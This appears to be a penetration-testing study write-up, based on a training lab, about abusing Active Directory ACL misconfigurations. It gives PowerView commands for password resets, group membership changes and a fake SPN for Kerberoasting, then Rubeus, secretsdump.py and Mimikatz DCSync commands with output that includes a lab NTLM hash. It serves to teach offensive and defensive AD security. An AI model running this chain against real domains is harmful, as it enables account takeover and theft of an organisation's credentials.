๐Access Control List (ACL)
Access Control List Abuse Primer
For security not all users and computers in an AD environment can access all objects and files.
These types of permissions are controlled through ACLs. A slight misconfiguration can leak permission to other objects that don't need it.
ACL Overview
ACLs are lists that define who has access to which resource and the levels of access they are granted. The settings in an ACL are Access Control Entries (ACEs), each ACE maps back to a user, group, or process and defines the right granted to it.
ACL Types
Discretionary Access Control List (DACL)
Made up of ACEs that either allow/ deny access.
Defines which security principles are granted or denied access to an object.
System Access Control Lists (SACL)
Allow admins to log access attempts made to secured objects
Access Control Entries (ACEs)
ACLs contain ACE entries that name a user or group and the level of access they have over a given securable object.
Main ACE types
Each ACE is made up of four components
The Security Identifier (SID) of the user/group that has access to the object
A flag denoting the type of ACE (access denied/ allowed or system audit ACE)
A set of flags that specify if child containers/objects can inherit given ACE entry from the primary or parent object
An access mask which is a 32 bit values that defined the rights granted to an object
Access Denied
Used within a DACL to show a user or group that is denied access to an object
Access Allowed
Used within a DACL to show a user or group that is granted access to an object
System Audit
Used within a SACL to generate audit logs when a user or group attempt to access an object
It can record whether access was granted or not and what type of access occured.
Why ACEs are Important
As an attacker we can use ACE entries to either further access or establish persistance.
Many organizations are unaware of the ACEs applied to each object and the impact a misconfiguration of these ACEs can have. We cannot use vulnerability scanning tools to detect these so they often go unchecked for many years.
ACL abuse can be a great way to move laterally/ vertically and even comprimised the domain. These can be enumerated using BloodHound and are abusable with PowerView
ForceChangePassword
abused withSet-DomainUserPassword
Add Members
abused withAdd-DomainGroupMember
GenericAll
abused withSet-DomainUserPassword
orAdd-DomainGroupMember
GenericWrite
abused withSet-DomainObject
WriteOwner
abused withSet-DomainObjectOwner
WriteDACL
abused withAdd-DomainObjectACL
AllExtendedRights
abused withSet-DomainUserPassword
orAdd-DomainGroupMember
Addself
abused withAdd-DomainGroupMember
ACL Attack Examples
ForceChangePassword - gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
AddSelf
- shows security groups that a user can add themselves to.GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

ACL Attacks in the Wild
There are many attack scenarios in the world, but here are three of the most common attack
Abusing forgot password permissions
Help Desk and other IT users are often granted permissions to perform password resets and other privileged tasks. If we can take over an account with these privileges we may be able to perform a password reset for a more privileged account in the domain.
Abusing group membership management
It's also common to see Help Desk and other staff that have the right to add/remove users from a given group. It is always worth enumerating this further, as sometimes we may be able to add an account that we control into a privileged built-in AD group or a group that grants us some sort of interesting privilege.
Excessive user rights
We also commonly see user, computer, and group objects with excessive rights that a client is likely unaware of. This could occur after some sort of software install (Exchange, for example, adds many ACL changes into the environment at install time) or some kind of legacy or accidental configuration that gives a user unintended rights. Sometimes we may take over an account that was given certain rights out of convenience or to solve a nagging problem more quickly.
ACL Enumeration
We can use PowerView to enumerate ACLs
Using Find-InterestingDomainAcl
Find-InterestingDomainAcl
Targeted Enumeration
While the above is perfectly possible to find the correct information it's much quicker to perform target enumeration.
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley
Using Get-DomainObjectACL
We can use the Get-DomainObjectACL function to perform our search.
Below we use the function to find all domain objects that our user has rights over by using the user's SID.
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
Performing a Reverse Search & Mapping to a GUID Value
We could google for the GUID value to find what it does or run a reverse search using PowerShell
$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
Using the -ResolveGUIDs Flag
This is highly inefficient to do so we can make use of PowerViews ResolveGUIDs
flag. This will show us the ObjectAceType in a human readable form
If we look at the ObjectAceType
property we will see what it is set to
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
Creating a List of Domain Users
We can get ACL information for a domain user
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
A useful foreach Loop
If we use a for loop we can ACL information for each domain user by passing each line from our list we created above to Get-ADUser
We can then select the property we want to search for Access property
in this case which will give information about access rights.
Then we can set the IdentityReference property to the user we are in control of
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
Investigating a Group with Get-DomainGroup
We can further enumerate a specfic user
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
Investigating Get-DomainObjectACL
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose
Looking for Interesting Access
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose
Enumerating ACLs with BloodHound
We can use BloodHound to achieve everything above in a much faster, efficient and easier way. Let's say we gathered data from SharpHound and have uploaded it to BloodHound. We can set the current user wley
in this case as our starting node.
Viewing Node Info
We can select the Node Info
tab and scroll down to Outbound Control Rights
. This will show us what objects we have control over directly via group membership and the number of object our user could lead us controlling via ACL attack paths.

Viewing Potential Attack Paths
If we click on the Transient Object Control
tab we will see the entire path enumerated.

Viewing Pre-Build Queries
We can click on any of the pre-built queries to see what rights the user had.

Abusing ACLS
Let's say we are in control of a user whose NTLMv2 hash we retrieved from Responder, we managed to crack their hash offline and got a cleartext password. We can use this to take control of a more powerful user.
The attack chain would be as follows:
Use our cracked user to change the password for the intended user we want to take over
Authenticate as the targeted user and leverage
GenericAll
rights to a user that we control to the targeted groupTake advantage of nested group membership in the targeted group and leverage
GenericAll
rights to take control of the user capable of performing aDCSync
attack.
In this example, we take our cracked user wley and force change the password of the user dmudsen. We can start by opening PowerShell and authenticating as wley.
Creating a PSCredential Object
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
Next, we create a SecureString object which represents the password we want to set for the target user damundsen
.
Creating a SecureString Object
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Finally, we'll use the Set-DomainUserPassword PowerView function to change the user's password.
We need to use the -Credential
flag with the credential object we created for the wley
user. We also set the -Verbose
flag to get feedback on the command.
We can also do this from Linux using a tool such as pth-net
from the pth-toolkit.
Changing the User's Password
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset
We can see the command ran and completed, changing the password for the target user while using the credentials we specified for the wley
user that we control.
Creating a SecureString Object using damundsen
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Adding damundsen to the Help Desk Level 1 Group
We can first confirm that our user is not a member of the target group. This could also be done from a Linux host using the pth-toolkit
.
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
... SNIP ...
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Next, we can use the Add-DomainGroupMember function to add ourselves to the target group.
We need to perform a similar process to authenticate as the damundsen
user and add ourselves to the Help Desk Level 1
group.
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'
Confirming damundsen was Added to the Group
We can quickly check to see the user was added to the group successfully
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
MemberName
----------
busucher
spergazed
<SNIP>
damundsen
dpayne
At this point, we should be able to leverage our new group membership to take control of the adunn
user.
We can perform a targeted Kerberoasting attack by modifying the account's servicePrincipalName attribute to create a fake SPN that we can then Kerberoast to obtain the TGS ticket and try to crack the hash offline using Hashcat.
We must be authenticated as a member of the Information Technology
group for this to be successful. Since we added our user we inherited rights via nested group membership.
Creating a Fake SPN
We can now use Set-DomainObject to create the fake SPN. We could use the tool targetedKerberoast
to perform this same attack from a Linux host, and it will create a temporary SPN, retrieve the hash, and delete the temporary SPN all in one command.
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn'
If this worked, we should be able to Kerberoast the user and obtain the hash for offline cracking
Kerberoasting with Rubeus
.\Rubeus.exe kerberoast /user:adunn /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target User : adunn
[*] Target Domain : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : adunn
[*] DistinguishedName : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName : notahacker/LEGIT
[*] PwdLastSet : 3/1/2022 11:29:08 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$ <SNIP>
We have successfully obtained the hash which we can attempt to crack the password offline using Hashcat. Once we have the cleartext password we can authenticate as the adunn
user and perform the DCSync attack.
Cleaning Up
To clean up after ourselves we should
Remove the fake SPN we created
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
Remove the user we added to the group
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
Set the password value from the user back to its original value
DCSync Attack
A technique used for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol. This is used by DCs to replicate domain data. This allows an attacker to mimic a DC to retrieve NTLM password hashes.
The attack works by requesting a DC to replicate password via the DS-Replication-Get-Changes-All extended right.
To perform this attack we must have control over an account that has the rights to perform domain replication. Domain/ Enterprise admins have this right by default.
Viewing a User's Replication Privileges through ADSI Edit

Using Get-DomainUser to View a Group Membership
We can use PowerView to confirm the user has the necessary permissions assigned to their account.
Get-DomainUser -Identity adunn |select samaccountname,objectsid,memberof,useraccountcontrol |fl
samaccountname : adunn
objectsid : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Using Get-ObjectAcl to Check User's Replication Rights
We can use the user's SID from the previous command and check all ACLs set on the domain object. We can search for specific replication rights and check if our user has the correct rights.
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType : DS-Replication-Get-Changes
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType : DS-Replication-Get-Changes-All
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes
AceQualifier : AccessAllowed
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType : DS-Replication-Get-Changes-All
If we had the right over the user such as WriteDacl we could add this privilege to a user under our control, run the DCSync attack and then remove the privilege to cover our tracks.
Extract NTLM Hashes and Kerberos Keys Using secretsdump.py
This tool will write all hashes to a file with the prefix we set, in this case; "inlanefreight_hashes"
-just-dc
: Only extract NTLM hashes and keys from the NTDS file-just-dc-ntlm
: Only extract NTLM hashes-just-dc-user <USERNAME>
: Only extract data for the supplied user-user-status
: Check to see if the user is disabled or not
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
Viewing an Account with Reversible Encryption Password Storage Set
If this option is set on a user account, it does mean that passwords are stored in clear text. Instead, they are stored using RC4 encryption. Any passwords set on accounts with this setting will be stored using reversible encryption. We can enumerate this with the command below.

Enumerating Further using Get-ADUser
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Checking for Reversible Encryption Option using Get-DomainUser
We can pass this user to Get-DomainUser
to check if it has reversible encryption
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Using runas.exe
Many companies will use reversible encryption as they want to be able to dump the NTDS and perform password strength audits easily. We can perform an attack with Mimikatz to target a specific user. We can run it in the context of the user who has DCSync privileges, we can use runas.exe to do this.
runas /netonly /user:INLANEFREIGHT\adunn powershell
Performing the Attack with Mimikatz
With our spawned PowerShell in the correct context we can run Mimikatz
.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
...
Credentials:
Hash NTLM: 88ad09182de639ccc6579eb0849751cf
Last updated
Was this helpful?